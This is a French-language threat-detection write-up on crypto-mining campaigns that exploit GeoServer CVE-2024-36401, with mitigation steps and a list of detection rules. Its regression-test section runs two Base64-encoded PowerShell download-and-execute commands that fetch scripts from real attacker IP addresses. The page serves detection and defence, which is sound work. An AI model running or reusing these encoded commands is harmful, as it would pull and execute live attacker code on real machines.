GeoServer sous attaque : campagnes de minage de cryptomonnaie grâce à des logiciels malveillants
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Les acteurs de la menace exploitent la faille d’exécution de code à distance de GeoServer CVE-2024-36401 pour déployer des mineurs de cryptomonnaie et NetCat sur des serveurs non corrigés. L’activité repose sur PowerShell, Bash et certutil pour télécharger et lancer XMRig à partir de plusieurs domaines malveillants et adresses IP. Plusieurs scripts de téléchargement et droppeurs sont utilisés, souvent empaquetés dans des archives ZIP et persistants en tant que services via NSSM. L’objectif principal est de s’emparer des ressources de calcul pour un minage non autorisé.
Enquête
Le rapport décrit trois variantes (A, B, C) qui utilisent PowerShell encodé, des fetchers basés sur Bash et certutil pour récupérer les charges utiles de mineurs depuis pool.supportxmr.com et plusieurs sous-domaines aaaaaaaaa.cyou. Les mécanismes de livraison incluent des scripts batch, des bundles ZIP, et un téléchargeur sur mesure nommé systemd, ainsi que des identifiants d’authentification de base HTTP. Les analystes ont extrait des indicateurs clés—URLs, adresses IP et noms de fichiers—pour soutenir la détection et le périmètre.
Atténuation
Appliquer les correctifs GeoServer concernant CVE-2024-36401 et maintenir les déploiements à la dernière version supportée. Bloquer les connexions sortantes vers les pools de minage connus et l’infrastructure associée, et surveiller les exécutions Powershell ou Bash encodées suspectes. Limiter l’utilisation de certutil pour les contextes non admin et imposer une liste blanche d’applications pour empêcher les services non autorisés installés via NSSM.
Réponse
Implémenter des détections pour les lignes de commande observées, les hachages et les indicateurs de réseau. Mettre en quarantaine les hôtes affectés, éradiquer les services de minage et les artefacts de persistance, et effectuer un balayage forensic pour toute charge utile secondaire. Faire tourner les identifiants exposés et exiger une authentification multi-facteurs pour l’accès administratif.
Flux d’attaque
Détections
Désactivation des protections de Windows Defender (via registry_event)
Voir
Modifications suspectes des préférences de Windows Defender (via powershell)
Voir
Points possibles de persistance [ASEPs – Hive Software/NTUSER] (via registry_event)
Voir
Schtasks pointe vers un répertoire/binaire/script suspect (via cmdline)
Voir
Fichiers suspects dans le profil utilisateur Public (via file_event)
Voir
Téléchargement ou envoi via Powershell (via cmdline)
Voir
IOCs (SourceIP) pour détecter : Cas d’attaque de mineur de cryptomonnaie ciblant GeoServer
Voir
IOCs (DestinationIP) pour détecter : Cas d’attaque de mineur de cryptomonnaie ciblant GeoServer
Voir
IOCs (HashMd5) pour détecter : Cas d’attaque de mineur de cryptomonnaie ciblant GeoServer
Voir
Détecter l’utilisation de Certutil pour le téléchargement de charges utiles malveillantes exploitant les vulnérabilités GeoServer [Création de processus Windows]
Voir
Détecter les commandes PowerShell encodées ciblant les vulnérabilités GeoServer [Powershell Windows]
Voir
Exécution de simulation
Prérequis : Le contrôle préalable de télémétrie et de base doit avoir été réussi.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narration de l’attaque & Commandes :
Un attaquant a obtenu une charge utile Base64 malveillante qui télécharge un fichier de configuration vulnérable GeoServer, l’exécute, puis dépose un mineur de cryptomonnaie. Pour échapper à la détection simple de script-block, l’attaquant utilise le-encoption avec une chaîne pré-encodée (l’un des deux IOCs connus). L’attaquant exécute la charge utile localement sur un hôte Windows compromis, provoquant la création d’un processuspowershell.exequi inclut exactement la chaîne Base64 surveillée par la règle. -
Script de test de régression :
# ------------------------------------------------- # Script de régression pour déclencher la règle Sigma # ------------------------------------------------- # Charge utile 1 (correspond au premier IOC) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Charge utile 2 (correspond au deuxième IOC) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Commandes de nettoyage :
# ------------------------------------------------- # Nettoyage – terminer toute charge Powershell persistante # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force